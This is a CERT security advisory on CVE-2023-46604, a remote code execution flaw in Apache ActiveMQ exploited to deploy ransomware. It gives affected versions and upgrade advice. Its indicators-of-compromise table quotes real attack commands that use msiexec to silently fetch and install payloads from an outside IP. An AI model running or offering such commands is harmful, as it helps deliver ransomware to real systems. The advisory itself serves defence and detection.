aDvens

Security for the greater good

Newscast

Critical vulnerability in Apache ActiveMQ

2023-11-08 | **TLP:CLEAR** | CERT aDvens - CTI

Advens - 16 Quai de la Mégisserie - 75001 Paris

Table of content

CVE-2023-46604 2
Type of vulnerability 2
Risk 2
Severity (base score CVSS 3.1) 2
Impacted Products 2
Recommendations 2
Proof of concept 2
Indicators of Compromise 3
SOURCES 4

CVE-2023-46604

Apache ActiveMQ is a message broker developed in Java and compatible with standard industrial protocols.

This flaw is due to an insecure deserialisation in Apache ActiveMQ's OpenWire protocol. By sending specially crafted requests, an attacker can execute arbitrary code on the server.

This vulnerability is currently being exploited to deploy HelloKitty and TellYouThePass ransomware.

Type of vulnerability

- CWE-502: Deserialization of Untrusted Data

Risk

- Remote code execution

Severity (base score CVSS 3.1)

Attack vector	Network	Scope	Changed
Attack complexity	Low	Impact on confidentiality	Low
Privileges Required	None	Impact on integrity	High
User Interaction	None	Impact on availability	High

Impacted Products

- Apache ActiveMQ and the Legacy OpenWire Module versions prior to 5.15.16
- Apache ActiveMQ and the Legacy OpenWire Module versions 5.16.0 prior to 5.16.7
- Apache ActiveMQ and the Legacy OpenWire Module versions 5.17.0 prior to 5.17.6
- Apache ActiveMQ and the Legacy OpenWire Module versions 5.18.0 prior to 5.18.3

Recommendations

- Update Apache ActiveMQ to versions 5.15.16, 5.16.7, 5.17.6 or 5.18.3.
- Additional information is available in the editor's security advisory.

Proof of concept

A proof of concept is available in open source.

Indicators of Compromise

TLP	TYPE	VALUE
TLP:CLEAR	URL	hxxp://172.245.16.125/m2.png
TLP:CLEAR	URL	hxxp://172.245.16.125/m4.png
TLP:CLEAR	Command	cmd.exe /c "start msiexec /q /i hxxp://172.245.16.125/m4.png"
TLP:CLEAR	Command	cmd.exe /c "start msiexec /q /i hxxp://172.245.16.125/m2.png"
TLP:CLEAR	SHA256 I Artefact	8177455ab89cc96f0c26bc42907da1a4f0b21fdc96a0cc96650843fd616551f4 I M2.msi
TLP:CLEAR	SHA256 I Artefact	8c226e1f640b570a4a542078a7db59bb1f1a55cf143782d93514e3bd86dc07a0 I M4.msi
TLP:CLEAR	SHA256 I Artefact	C3C0CF25D682E981C7CE1CC0A00FA2B8B46CCE2FA49ABE38BB412DA21DA99CB7 I dllloader
TLP:CLEAR	SHA256 I Artefact	3E65437F910F1F4E93809B81C19942EF74AA250AE228CACA0B278FC523AD47C5 I EncDll

Sources

- https://nvd.nist.gov/vuln/detail/CVE-2023-46604
- https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt
- https://www.rapid7.com/blog/post/2023/11/01/etr-suspected-exploitation-of-apache-activemq-cve-2023-46604/
- https://www.bleepingcomputer.com/news/security/tellyouthepass-ransomware-joins-apache-activemq-rce-attacks/